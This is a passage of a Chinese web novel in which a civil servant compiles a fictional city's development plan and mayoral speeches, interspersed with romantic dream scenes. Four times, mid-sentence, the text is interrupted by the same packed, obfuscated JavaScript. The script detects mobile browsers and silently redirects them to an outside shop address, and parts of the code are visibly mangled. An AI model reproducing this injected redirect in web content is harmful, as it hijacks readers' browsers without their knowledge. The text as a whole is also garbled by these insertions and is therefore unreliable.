实现‘两个翻番’：就是在全面完成‘十一五’规划确定的主要目标基础上，争取到2011年实现人均生产总值比2004年翻一番，突破3万元。到2014年，力争全市生产总值在2000年的基础上提前六年翻两番，跨越1000亿元大关，达到1330亿元，地区财政收入达到226亿元，一般预算收入达到65亿元。 完成‘三大任务’：一是加快推进区域性现代化中心城市建设。充分发挥滨河的科技、人才、交通、区位等比较优势，把滨河建设成为经济发达、功能齐全、环境良好、物流集散、区位优势明显、辐射带动力强的区域性现代化中心城市。二是完成全面建设小康社会的主体任务。在基本完成提前实现全面建设小康社会规划前两步发展目标的基础上，到2011年，主要指标基本达 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14365920|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到全面建设小康社会的预期目标，到2014年基本完成主体任务。三是取得构建‘和谐滨河’的重大成果。在搞好经济建设的同时，着力加强各项社会建设和全国文明城市创建活动，完善社会保障和救助体系，努力构建‘和谐滨河’。 取得‘四大进展’：一是在加快构建新型工业体系上取得重大进展。努力形成以高新技术产业为先导、基础产业和制造业为支撑，能源原材料、机械制造、食品医药三大板块为主体，石油化工、有色冶金、装备制造、农副产品加工、食品医药、能源电力为重点的新型工业体系，把滨河建设成为区域性研发中心和制造业基地。二是在大力发展园区经济上取得重大进展。大力推动项目、要素、企业和高新技术产业向园区集中，形成一批战略性、成长型强的主导产品，打造一批具有自主知识产权、高附加值和品牌竞争力的优势企业。三是在发展提升现代服务业上取得重大进展。抓住西南、西北铁路大通道建设和青藏铁路建成通车的机遇，加快建设青藏物流园区和面向西部及中亚的物流基地，着力打造具有现代化城市形象标志的中央商务区、商业中心和特色商业街及各类专业市场，构筑服务型经济结构，不断提升滨河的辐射力和竞争力。四是在……新农村建设上取得重大进展。坚持城市农业的发展方向，抓住特色和规模两个关键环节，加快农业区域化布局、标准化生产、专业化经营、信息化服务和品牌化发展进程，全力推进农业产业化经营，培育一批竞争力、带动力强的龙头企业、企业集群和农村经济合作组织，加快提高滨河农业的综合实力。 提升‘五个水平’：一是不断提高经济发展的市场化水平。加快体制创新，深化全面改革，扩大对内对外开放，放手发展非公有制经济，加快形成统一开放、竞争有序的现代市场体系，提高开放型经济发展水平。二是不断提高城市发展的科学化水平。坚持实施城市空间发展战略，突出‘丝路重镇、黄河明珠、山水名城、水车之都’特色，五年计划投资300亿元，全面加快以路桥为主的城市基础设施建设，加快三个新城区建设，推进老城区改造，带动整个都市快速发展。三是不断提高人均占有社会公共资源水平。通过发展经济、扩大就业、扶贫开发，特别是加快社会主义新农村建设，千方百计增加城乡居民收入，加快城乡教育、文化、卫生、体育等公共资源体系和道路、桥梁、公交、市政公用等基础设施建设，促进公共资源向远郊和农村倾斜，使城乡居民共享改革发展成果。四是不断提高人居环境水平。围绕建设资源节约型、环境友好型城市，加强生态环境建设，大力推进大气污染综合整治，强化黄河滨河段水污染防治，努力把滨河建成国家卫生城市和生态园林城市。五是不断提高社会和谐文明进步水平。通过‘质量建……’的一系列措施，不断加强……的执政能力建设和先进性建设，坚持实施科教兴市和人才强市战略，加快构建区域科技创新体系，进一步完善教育体系，重视人力资源的开发和使用，高度重视和解决民生问题，落实积极的就业政策，着力解决城乡收入差距过大问题。 51. 第 51 章 第五十一章发展报告 （三） 根据……的部署，以及《滨河市国民经济和社会发展第十一个五年规划纲要》精神，未来一个时期，滨河市将坚持以……理论和……重要思想为指导，认真贯彻落实……精神，以发展为第一要务，全面提升滨河经济实力，加快城市现代化建设步伐，深化体制改革，促进社会全面进步，全方位扩大对外开放，进一步优化发展环境，切实把经济社会发展转入科学发展轨道，不断加快滨河全面建设小康社会进程。 全面提升滨河经济实力。以经济建设为中心，加快发展，科学发展，不断构筑起符合滨河实际，适应发展要求，充满竞争活力的现代制造业、现代服务业、现代农业和现代城市经济体系。实施‘工业强市’战略，按照发展大项目、延长产业链、增加产业群和建立产业基地的发展方向，加快工业经济结构战略性调整和产业结构优化升级步伐，推进传统产业新型化和新兴产业规模化，推进滨河工业化由中级阶段向中高级阶段发展，构建新型工业体系。加快振兴装备制造业，依托技术进步，提高重大技术装备的系统设计、研发、制造和成套能力，到‘十一五’末装备制造业增加值占全市工业增加值的比例达到13%，对工业经济的贡献率达到15%。大力发展园区工业，突出产业聚集和规模发展效应，以‘五园七区’为重点，全力构筑园区特色明显、支柱产业突出、集群效应显现的产业聚集区。按照‘建设服务业大市、构筑服务型经济结构’的思路，建立和完善与城市经济发展和现代化进程相适应的现代服务体系，把滨河建设成为西部地区重要的服务型经济中心。坚持城市农业发展方向，紧紧围绕产业提升、农业增效、农民增收，抓住特色和规模两个关键环节，加快推进农业区域化布局、标准化生产、专业化经营，着力培育一批竞争力、带动力强的龙头企业和企业集群。加快农村基础设施建设，改善农村生产生活条件，努力在住宅新、设施新、环境新、条件新、风尚新、水平新、素质新和机制新上取得新农村建设的重要阶段性成果，加快推进……新农村建设上取得成效。进一步放手发展个体、私营等非公有制经济，力争‘十一五’末非公有制经济增加值占全市生产总值的比重达到40％以上。 加快现代化城市建设步伐。按照‘立足民生搞建设、突出重点搞建设、围绕精品搞建设、注重特色搞建设、依据规划搞建设、诚信务实搞建设’的城市建设方针，把滨河精心打造成为‘山水名城’、‘水车之都’和‘丝路重镇’。坚持‘跳出老区建新区、建设新区带老区，新区抓框架、老区抓美化、局部抓优化、整体抓规划、全面促提高’的思路，按照‘拉开框架，扩展规模，提升功能，完善形象’的要求，加快建立新城区主体框架和东西部城区开发建设，全面完成行政中心迁移工作。加大城市基础设施建设力度。积极配合国家和省上抓好滨渝铁路、滨铁客货运枢纽、成品油管道等铁路、公路、管网重大建设项目，加快以路桥为主的城市基础设施建设，加快滨河绕城高速路工程、南山道路工程、黄河拦河坝工程、南河道改造工程、湿地公园工程、轻轨交通工程等一批关系城市未来发展的重大基础工程建设，全面提升城市配套服务功能和环境承载力，构建滨河都市经济圈。坚持‘以人为本’，每年实施一批便民利民的市区过街天桥、地下通道、城市公厕和小街巷整治等‘民心工程’，不断完善城市基础设施和服务功能。坚持‘山、水、桥、路、楼’五位并抓，‘绿化、亮化、净化、硬化、美化’五化并进，‘产业、物业、商业、交通业、旅游业’五业并举，不断提高城市综合竞争力。树立‘滨河大经济区’意识，充分发挥滨河的比较优势，加快构建‘两圈五带一框架’区域经济合作体系，全方位推进区域经济的深度融合和渗透。进一步理顺和完善城市管理体制，明确市、区、街的责任，提高运转效率和质量。加强城市管理的法制化建设，加快研究制定加强城市管理的详细规划和办法，完善城市管理法规，提高城市管理的科学化、规范化和法制化水平。加快城镇体系建设，培育20个功能完善、特色突出的卫星城镇，使三分之二的小城镇面貌有较大改变，三分之一的力争建成现代化小城镇，全市城镇化水平达到70％以上。提高‘经营城市’水平，精心营造‘住在滨河、游在滨河、创业在滨河’的富有现代城市意蕴和西北地域文化特色的都市氛围。 促进社会全面进步。全面落实……，努力把滨河建设成为和谐发展、和谐创业、和谐生活的新滨河。坚持实施积极的就业政策，充分发挥市场的引导作用，强化政府促进就业的公共服务职能，规范劳动力市场秩序，健全就业服务体系，鼓励劳动者自主创业和自谋职业，促进多种形式的就业。建立健全社会保障体系，不断完善城镇职工基本养老保险和基本医疗、失业、生育、工伤保险制度。增加财政社会保障投入，逐步提高基本养老保险社会统筹层次。重视保障妇女儿童权益，积极发展残疾人事业，加强社会福利事业建设，完善优抚保障机制和社会救助体系。完善按劳分配为主体、多种分配方式并存的分配制度，着力提高低收入者收入水平，逐步扩大中等收入者比重，规范个人收入分配秩序，建立绝大多数群众能够得到实惠的分配机制和利益格局。认真解决低收入群众的住房、医疗和子女就学等困难问题。发展基层民主，推进政务公开，保证人民群众依法行使选举权、知情权、参与权、监督权。坚持稳定压倒一切的方针，建设‘平安滨河’。加强精神文明建设，大力实施公民道德建设工程，进一步推进未成年人思想道德建设，不断提高全体市民的思想道德素质。广泛深入持久地开展以创建文明城市为重点的各类群众性文明创建活动，倡导文明、科学、健康的社会风尚，全面提升城乡文明程度。推进‘文化滨河’建设，深化文化体制改革，坚持文化事业和文化产业协调发展，构建‘滨河文化圈’。 深化体制改革。坚持改革的方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14376032|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向，着力用改革的办法突破影响滨河发展的‘瓶颈’制约和体制障碍。深化行政管理体制改革，围绕建设服务政府和法治政府，进一步转变政府职能和管理方式，使政府真正成为优质公共产品的提供者、良好经济社会环境的创造者、广大人民群众利益的维护者。深化投融资、财税体制改革，进一步改革项目审批制度，全面推行政府投资项目‘代建制’，规范政府投资资金管理。深化财政预算管理改革，完善公共财政体制框架，继续实行预算外资金收支两条线管理，进一步改革市以下财政管理体制，完善税收监管体制，调整财力分配结构，将新增财力重点投向农村和基层的社会公益事业和公共设施领域。推进教育科技文化卫生体制改革，巩固完善以县为主的农村义务教育管理体制，构建起学历教育与非学历教育并重、城市教育与农村教育、公办教育与民办教育、普通教育与职业教育共同发展、各级各类教育相互衔接沟通、布局结构合理、协调发展的教育体系。鼓励和支持科研院所事转企改革，通过联合、资产重组、兼并、股份制、股份合作制或会员制等多种形式，建立多元化投资主体的股份制企业。加快文化产业发展和经营性文化企事业单位的改制，积极探索经营性文化资产管理模式，建立资产经营责任制。对公益性文化事业单位进行人事、管理、分配制度改革，进一步放宽文化市场的准入，鼓励民间资本投资发展具有地方特色的文化产业。适时推进新一轮卫生体制改革，探索国有医院多渠道投融资体制和管理体制，解决人民群众‘看病难、看病贵’的问题。继续深化国有企业改革，逐步建立完善国有资产监督管理体系和运营体系。按照‘统筹规划、分类改革、精简机构、优化结构’的要求，科学划分和调整事业单位结构，全面推进事业单位改革。 全方位扩大对外开放。充分把握我国加入世界贸易组织的历史性机遇，全面实施对外开放。发展对外贸易经营主体，支持更多的企业参与国际市场竞争。支持自营进出口企业根据国际市场的需求，培育拳头产品，争创名牌产品，建立出口商品基地。挖掘现有外资企业的潜力，培育贸易企业进出口大户，积极组建华外合资贸易公司，实现外贸较快发展。加强国内外经济技术合作，扩大招商引资规模。落实招商引资的各项优惠政策，充分利用‘滨洽会’平台，加快建立以项目为载体的招商引资机制，发展专业招商、委托招商、网上招商等多种招商方式。积极引导外商投向交通、能源、城市公用设施等城市基础设施和优势发展产业领域。发展项目融资、股权融资、企业并购等新的利用外资方式，积极争取利用国际金融机构和外国政府贷款。实施‘走出去、引进来’战略。利用世贸规则和国际通例，支持企业主动参与国际竞争，加强风险管理，增强自我保护能力。鼓励具有实力的大企业集团到境外设店办厂、承揽工程和劳务合作。对内实施‘联起来’的发展战略，进一步拓宽对外承包和劳务合作领域，逐步扩大高层次劳务输出比重。 52. 第 52 章 第五十二章空街相拥 进一步优化发展环境。建设宜人的生态环境。以……和实现可持续发展为指导，以促进人与自然和谐发展为目标，在巩固‘十五’建设成果基础上，以生态环境建设和冬季大气污染防治及保障公共安全为重点，继续推进各项生态环境工程建设，把滨河建设成为山水园林化、环境友好型城市。建设良好的人居环境。以创建全国文明城市为龙头，带动国家卫生城市、国家园林城市、国家环保模范城市及国家历史文化名城创建活动。坚持城乡联动，以城为主的原则，围绕‘山、水、天、地、人、园、林、楼、路、区’十个方面进行全面建设，力争2008年达到‘全国创建文明城市工作先进城市’标准，2011年达到‘全国文明城市’标准。建设健康向上的人文环境。继续开展‘滨河火车站至北大川机场’文明通道创建活动，把滨河火车站至北大川机场一线建成绿色通道和文明通道。积极创建文明城区、文明社区。完善公民道德建设规划，建立健全未成年人思想道德建设的领导体制和工作机制。弘扬以爱国主义为核心的民族精神和以改革创新为核心的时代精神，增强全市人民热爱滨河、建设滨河、加快发展的意识，努力建设创业型城市。构建社会信用体系，营造讲诚实、守信用的社会氛围。形成以道德为支撑、产权为基础、法律为保障的市场经济条件下的现代信用制度。建设廉洁高效的政务环境。以树立‘廉洁、勤政、务实、高效’政府形象为重点，切实转变政府职能，改进行政管理方式，提高行政效率。坚决清除阻碍生产力发展的各种羁绊，坚决改变一切阻碍发展不合时宜的观念、规定、做法、体制和机制弊端。认真落实‘治庸’计划，发挥行政投诉的监督作用，继续办好‘一把手’上电视节目，坚持开展民主评议机关活动，建设服务型政府。” …… 达恩豪下午下班回家，吃完晚饭，看完了电视，上床休息，躺在床上睡觉，加班加点搞材料，实在是累得不行，在床上一迷糊，马上就进入了大槐安国里…… 这小伙儿和这美女在熟悉的小县城，在曾经生活过的亲切的大街上，在夜晚里的大街上，稀疏的街灯有些神秘，昏暗的灯光有此暧昧。 这小伙儿情不自禁，把身旁搂抱的这美女，拥入自己怀中，一对年轻异性在空旷无人的大街上，粘贴在了一起。 这小伙儿双臂紧紧地环抱着这美女，像铁箍一样想把这美女牢牢搂在怀中，箍得越紧心里越兴奋，感觉越甜蜜，越幸福！ 这小伙儿呼吸有点压抑，压抑里充满了甜蜜和幸福！ 这小伙儿气息有点短粗，短粗里荡漾着甜蜜和幸福！ 这小伙儿感觉到，这时幸福的感觉像电流一样，甜蜜的感觉像电流一样，交替着一阵一阵传遍全身。 这美女双手使劲地攥着这小伙儿的后背，先是想推开，结果没有力气，后来是不由自主地也抱紧，往自己怀里使劲。 这美女也越来越感觉刺激，感觉越来越甜蜜，越来越幸福！虽然，由于挤压得胸口，越来越感觉有点气短气粗，呼吸不畅。 这美女胸腔有点挤压，挤压里充满了甜蜜和幸福！ 这美女气息有点不畅，不畅中荡漾着甜蜜和幸福！ 这美女感觉到，这时幸福的感觉像电流一样，甜蜜的感觉像电流一样，交替着一阵一阵传遍全身。 “轰轰轰”当一辆小汽车在空空旷的大街中央的大道上，不知趣地急驰而过时，这人行道上幸福甜蜜的气氛没有被破坏，而是更加地浓烈醇香了！ 俩个青年男女情不自禁地相拥相抱，不是松开了，而是这小伙儿抱紧了这美女，这美女也抱紧了这小伙儿，一对年轻异性抱得越来越紧了…… …… 第二天在单位上班时间，达恩豪继续汇总整理去年新亚欧大陆桥国际研讨会的材料，用了一天时间，就整理出三份。这第一份材料的内容如下： “在联合国新丝绸之路明珠城市申报仪式上的致辞 河陇省省长助理、滨河市市长常…… （2007年7月3日） 尊敬的各位领导、各位来宾, 女士们、先生们、朋友们： 今天，新丝绸之路明珠城市申报仪式在丝路山水名城、西部黄河之都滨河隆重举行。在此，我代表……滨河市委、滨河市政府和326万滨河各族人民，向参加这次活动的各位领导、嘉宾和朋友表示热烈的欢迎！ 古丝绸之路曾经是沟通东西方经济、政治、文化和思想的伟大通道，是连接融合人类四大文明的重要纽带，在其带动辐射下，亚欧大陆呈现出千年辉煌。时至今日，为推动新丝绸之路的振兴和崛起，联合国开发计划署和国府院新亚欧大陆桥国际协调机制联合发起并组织了新丝绸之路明珠城市申报活动，它的顺利实施对于促进人类文明和文化的交流与融合，提升华夏国丝路城市的国际形象，提高丝路城市在经济全球化浪潮中的综合竞争力，促进区域合作与人类社会的可持续发展，必将起到重大而深远的影响。 滨河是一座古老而又年轻的城市，有着两千多年的历史。在漫长的岁月里，随着古丝绸之路的繁荣兴盛，形成了滨河交通要冲和商埠重镇的特殊地位，使滨河成为连结西域少数民族的桥梁与纽带，在沟通和促进东西经济文化交流中做出了重要贡献。……成立后特别是改革开放以来，历经几次大规模开发建设，滨河这座古老的城市焕发出了勃勃生机，已成为华夏国西部重要的现代化中心城市、国家重要的工业基地、西部交通通信枢纽、区域性商贸中心和科研教育基地，享有‘丝路重镇’、‘黄河明珠’、‘水车之都’、‘避暑胜地’和‘瓜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14385357|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果名城’之美誉。这次申报新丝绸之路明珠城市活动，不仅对促进滨河经贸和旅游事业发展，提升和扩大滨河的国际知名度起到了重要作用，而且为进一步加强滨河与沿线城市在多领域、多层次的密切合作创造了更为有利的条件。 各位领导、各位来宾，在经济全球化不断加快的今天，新丝绸之路的振兴和崛起，离不开国家和国际组织的关心与支持，更需要包括滨河在内的沿线城市的共同努力。在新的历史发展时期，让我们携起手来，同心同德，紧密合作，共同开创丝绸之路再度辉煌的新局面！ 预祝新丝绸之路明珠城市申报活动取得圆满成功！” 达恩豪整理出的第二份材料内容如下： “在联合国新丝绸之路明珠城市申报仪式上的演讲辞 河陇省省长助理、滨河市市长常…… （2007年7月3日） 尊敬的各位领导、各位来宾， 女士们，先生们，朋友们： 大家好！ 首先，我代表……滨河市委、滨河市政府和全市326万各族人民，对出席联合国新丝绸之路明珠城市申报仪式的各位来宾表示热烈的欢迎！对组织这项活动并为此付出辛勤努力的联合国开发计划署、国家商务部、新亚欧大陆桥国际协调机制等有关方面的领导和新闻界的朋友们表示衷心的感谢！ 滨河是河陇省省会，地处黄河上游，在大西北处于‘座中四联’的位置，市域总面积1.31万平方公里，是一座古老而又年轻的西部名城。在丝绸之路沿线诸多城市中，滨河以其独特的地理区位、悠久的历史渊源、浓郁的地方文化和鲜明的城市特色，闪烁着耀眼的光彩，蕴藏着巨大的发展潜力。 滨河是古丝绸之路的重镇。历史比较悠久，自秦始皇33年设立县治、筑城建堡，至今已整整2221年。汉唐以来，滨河作为控扼黄河天堑的重要古渡，以‘屏障中原、联络西域、襟带万里’的地理区位优势，成为丝绸古道上的交通要津、军事要塞和商埠重镇，在沟通和促进东西经济文化交流中发挥了重要作用。唐僧玄奘西去印度，马可·波罗探险游历，成吉思汗南征北战，滨河都是必经之路。滨河历经明肃王藩都、清康熙河陇省会、清乾隆陕陇总督署，1941年正式设市，为西北地区第二个设市的城市。 滨河是黄河上游的璀璨明珠。作为……‘一五’、‘二五’和‘三线’时期重点开发建设的城市，滨河具有得天独厚的综合区位、富集的矿产水能资源、方便快捷的交通通信、辐射西部的市场集散和实力雄厚的科技人才等比较优势，是华夏国西部重要的现代化中心城市，是国家重要的工业基地、西部交通通信枢纽、区域性商贸中心、科研教育基地和闻名全国的‘瓜果城’，在新亚欧大陆桥区域开发中发挥着支撑点和辐射源的作用。 53. 第 53 章 第五十三章抚摸厮磨 滨河是蜚声中外的‘山水城市’。地理位置处于华夏国陆域版图的几何中心，有‘陆都心脏’之说。滨河是华夏国九曲黄河唯一穿城而过的城市，市区东西黄河中流，南北群山环抱，素有‘黄河之都’和‘山水城市’的美誉。依河而建的百里黄河风情线，是全国最长的开放式公园。滨河水车作为古老的提水灌溉工具，见证了滨河沧桑巨变的历史进程，坐落在黄河之滨的滨河水车博览园，是世界水车文化丰富的主题公园，‘水车之都’久负盛名。滨河‘两山一水’的独特景观，使整个城市显得格外钟灵毓秀，充满生机和活力。 滨河是著名的文化旅游城市。古老的丝路文化、黄河文化和西北民族文化在这里集汇交融，呈现出丰富多彩的地域文化特色，留下了诸多名胜古迹。滨河有……土司衙门、……王墓群和黄河铁桥等诸多人文与自然景观，也是连接……山、……山、拉……寺、……窟的丝绸之路大旅游区的中心，为华夏国优秀旅游城市。滨河牛肉面等特色饮食享誉国内外。‘文化滨河’建设成就斐然，相继推出了一批文化精品杰作，……被誉为20世纪华人舞蹈经典，《又见莫高》被评为国家十大舞台艺术精品工程剧目。滨河太平鼓气势磅礴，享有‘天下第一鼓’的美称。……杂志年销量超过1000万册，列华夏国和亚洲第一，居世界第四。 滨河因丝绸之路而熠熠生辉，丝绸之路因滨河而绚丽多彩。滨河作为历史移民城市和西部各民族都会，热情开放，气度恢弘，注重和谐，崇尚创新。每一位滨河人都是城市的主人，每一位滨河人都热爱自己的家园，每一位滨河人都因工作生活学习在这里而由衷地感到骄傲和自豪。在经济全球化步伐加快的新形势下，滨河将以新的精神面貌和开放姿态，加快建设西部区域性现代化中心城市，创造更加辉煌的明天!我们有理由相信，有了滨河加盟，新亚欧大陆桥一定会更加交相辉映；有了滨河加盟，新丝绸之路明珠一定会更加璀璨夺目！ 传承丝路精神，重启明珠辉煌。滨河作为华夏国西部地区主要的申报城市，我们真诚地期望获得‘联合国新丝绸之路明珠城市’称号。 谢谢大家！” 达恩豪整理出的第三份材料内容如下： “在联合国第二届丝绸之路市长论坛预备会上的致辞 滨河市副市长傅…… （2007年7月2日） 尊敬的各位领导、各位来宾， 女士们、先生们、朋友们： 今天，来自丝绸之路沿线的代表相聚滨河，参加联合国第二届丝绸之路市长论坛，共同探讨丝绸之路沿线城市旅游资源开发问题，进一步寻求旅游资源合作发展的有效途径，我们感到十分高兴。在此，我代表……滨河市委、滨河市政府和全市人民，对各位领导、各位嘉宾的到来表示热烈的欢迎！ 滨河是河陇省省会,现辖5区3县，地域总面积1.31万平方公里，其中市区面积1631.6平方公里。境内居住着汉、回、满、东乡、裕固等38个民族，总人口326万。滨河是黄河唯一穿城而过的城市，具有悠久的历史文化，汉唐以来，滨河逐渐成为丝绸之路重要的交通要塞和商埠重镇，在沟通和促进东西经济文化交流中发挥了重要作用。……成立后，滨河作为全国首批重点建设的工业城市和32个物流中心之一，得到了大规模开发建设，成为华夏国石化工业的‘摇篮’和西部地区重要的商品集散中心。随着新亚欧大陆桥的开通，滨河已成为我国东西部交流合作和通往中亚、西亚、中东及欧洲的重要通道，成为黄河上游重要的经济中心、新亚欧大陆桥上的战略支撑点和经济辐射源。 特殊的地理位置和区位条件，使滨河在区域合作中具备了良好的开发基础和比较优势。一是经济区位优势。滨河地处西北‘座中四联’的位置和丝绸之路大旅游区的中心，与周边省市有着天然而紧密的经济文化联系，在区域合作中，更易发挥承东启西、连南济北的作用。二是交通通信优势。滨河是西北最大的交通通信枢纽和网络中心，4大铁路干线、6条国道交汇于此，辐射周边地区的高速路网已经形成；滨河北大川机场直通30多个国内外城市，国家4条数字光缆主干线以滨河为主节点。三是工业基础优势。经过多年发展，滨河已形成了以石油化工、有色冶金、装备制造、医药、建材为主体，与西北资源开发相配套，门类比较齐全的工业体系，成为我国重要的原材料和重工业基地。滨河拥有高新技术产业和经济技术两个国家级开发区，已经培育出一批国内首创、拥有自主知识产权的高新技术产业项目。随着产业结构的调整，滨河的资源加工增值能力不断增强。四是市场集散优势。滨河曾是古丝绸之路上著名的‘茶马互市’，现已发展成为西部地区的商贸中心和物流基地，市场辐射面达到西部8个省区、近400万平方公里和3亿多人口，人流、物流、资金流、信息流日益活跃，在开拓区域大市场中具有很强的聚集辐射功能。五是科教文化优势。滨河集中了全省80%以上的科研机构和专业人才，拥有科研开发机构近700家、国家重点实验室10个、高等院校18所、两院院士13人，人才密度和科技实力居全国大中城市前列。所有这一切，不仅为滨河又好又快和可持续发展打下了良好基础，而且也为兄弟城市加强与滨河的合作创造了重要条件。 近年来，滨河以……为指导，把西部大开发与构建……社会紧密结合起来，按照‘创业实干打硬仗，建设创业型城市’的工作部署，经济保持了持续、快速、健康发展，小康社会建设全面推进。在新的历史发展时期，滨河将抢抓机遇，加快区域性现代化中心城市建设，经过今后五年或更长一个时期的努力，把丝路名城滨河建设成为经济繁荣、社会文明、环境优雅、人民幸福、区位优势充分发挥、辐射带动能力逐步增强的区域性现代化中心城市。 各位领导、各位来宾，本届市长论坛是丝路沿线城市深化合作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14397719|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、共谋发展的一次盛会，也是相互学习、加强交流的极好机会。我们希望通过这次论坛，进一步加深与兄弟城市的密切协作，共同构建资源共享、联手开发、合作发展的新局面。借此机会，我衷心感谢各位多年来对滨河发展的关心和支持，热忱欢迎大家在滨河多走走、多看看，对滨河的发展提出宝贵的意见和建议。 谢谢大家！” …… 达恩豪在单位上班，正坐在电脑前，干材料汇总整理的活儿，“滴滴滴”响了一下，右大脚裤子动了一下，他赶紧下手掏出右裤兜里的手机。 打开手机一看，是来了一条微信，不知是谁发来的，再继续点开一看，是隔壁城市发展研究处办公室大腮帮子巴其平处长发来的，是一个语言笑话段子，具体内容如下： “没钱的,养猪； 有钱的，养狗。 没钱的,在家里吃野菜； 有钱的,在酒店吃野菜。 没钱的,在马路上骑自行车； 有钱的，在客厅里骑自行车。 没钱的想结婚； 有钱的想离婚。 没钱的老婆兼秘书； 有钱的秘书兼老婆。 没钱的假装有钱； 有钱的假装没钱。 人啊，都不讲实话： 说股票是毒品，都在玩； 说金钱是罪恶，都在捞； 说美女是祸水，都想要； 说高处不胜寒，都在爬； 说烟酒伤身体，就不戒； 说天堂最美好，都不去!!! 当今社会，穷吃肉，富吃虾，富豪有钱吃王八。 男想高，女想瘦， 狗穿衣裳人露肉。 ……早晨鸡叫人； ……晚上人叫鸡。 ……卖艺不卖身； ……卖身不卖艺。 工资真的要涨了， 心里更加欢畅了， 能给孩子奖赏了， 见到老婆敢嚷了， 敢尝海鲜鹅掌了， 闲时能逛商场了， 遇见美女心痒了， 结果……又涨了。 ……” “嘿嘿嘿！嘿嘿嘿！”达恩豪尽量本住不大笑狂笑，可看了这个幽默段子，痛并快乐着感觉，最好先快乐吧，搞笑段子就是风趣，丢下手机，双手蒙嘴，爬到自己的办公桌上，好像贼偷了被子似的，这样压抑着偷偷地笑个不停。 达恩豪心想，这个特别可笑的语言段子，不知道是谁编出来的，编得还挺好的。巴处长真还是下了及时雨了，给达恩豪搞材料枯燥无味的时光，来了一份快乐。 “哈哈哈！谢谢！”达恩豪拾起手机，在这条微信下面，打字发送过去这样一条微信信息，感谢巴其平给他送来的这样一份欢乐，虽然巴其平不搞这材料，连写带汇总整理存档都是他自始止终“一条龙”搞的。 54. 第 54 章 第五十四章黑夜亲吻 达恩豪搞笑段子也看了，笑也笑完了，微信也回了，就赶紧抬胳膊，用手背擦去眼角上溢出来的泪眼花，收住脸上的笑容，收拾好心情，平稳了一下情绪，继续开始干活儿，汇总整理去年新亚欧大陆桥国际研讨会议上的材料。 达恩豪下午下班回家，吃过晚饭，看完电视，躺在床上休息，眼睛疲劳带大脑疲劳，很快就去见周公了…… 这小伙儿恍惚见，又回到了熟悉而陌生的环境，好像是曾经工作生活的兰原县，曾经恋爱过的小县城，熟悉而久别了的大街人行道。 惊奇的是回到了恋爱的年代，穿越到了自己青年的那个时空了，而且是在这样的夜晚，这样的大街上，这样的神秘而稀疏的路灯下，这样昏暗而暧昧的灯光里，这样的一男一女两个年轻人。 这小伙儿死列地双臂箍着这美女，这美女也紧紧搂抱着这小伙儿。 这美女呼吸不畅，心跳加快，身体微微地颤抖着！但这不畅是甜蜜幸福的，这心跳是甜蜜幸福的，这颤抖是甜蜜幸福的！ 这小伙儿呼吸短粗，心在狂跳，身体也在轻轻震颤！但这短粗是甜蜜而幸福的，这狂跳是甜蜜而幸福的，这震颤是甜蜜而幸福的！ 这小伙儿想缓口气，稍稍放松了一下用力环箍这美女身躯的一双强健的臂膀，用双手的手掌和指腹，在这美女的背上轻轻地摸擦着，摸擦着的是甜蜜幸福，甜蜜幸福从手掌和指腹传送到自己的心田！ 这美女也想松口气，也随之慢慢放松了拥抱这小伙儿身躯的一双戚的香臂，也用双手的手掌和指腹，在这小伙儿的背上轻轻地摸擦着，摸擦着的是甜蜜幸福，甜蜜幸福从手掌和指腹传送到自己的心田！ 这小伙儿微微伏下头颈，用自己的头去磨擦这美女的秀发，用自己的耳朵去摩擦这美女的香耳。这甜蜜和幸福就在一对异性青年的发稍和耳朵上传递交融！ 这小伙儿陶醉在这美女的好闻的体香里，一种难忘的味道里，一种诱人的异性的气息里！这是多么甜蜜和幸福的味道，这是甜蜜和幸福的气息！ 这美女轻轻抬起头颈，也用自己的秀发头磨擦这小伙儿的浓黑细柔的头发，也用自己的耳朵去摩擦这小伙儿的耳朵。这甜蜜和幸福就在一对异性青年的发稍和耳朵上传递交融！ 这美女陶醉在这小伙儿的好闻的体香里，一种难忘的味道里，一种诱人的异性的气息里！这是无比甜蜜和幸福的味道，这是无比甜蜜和幸福的气息！ 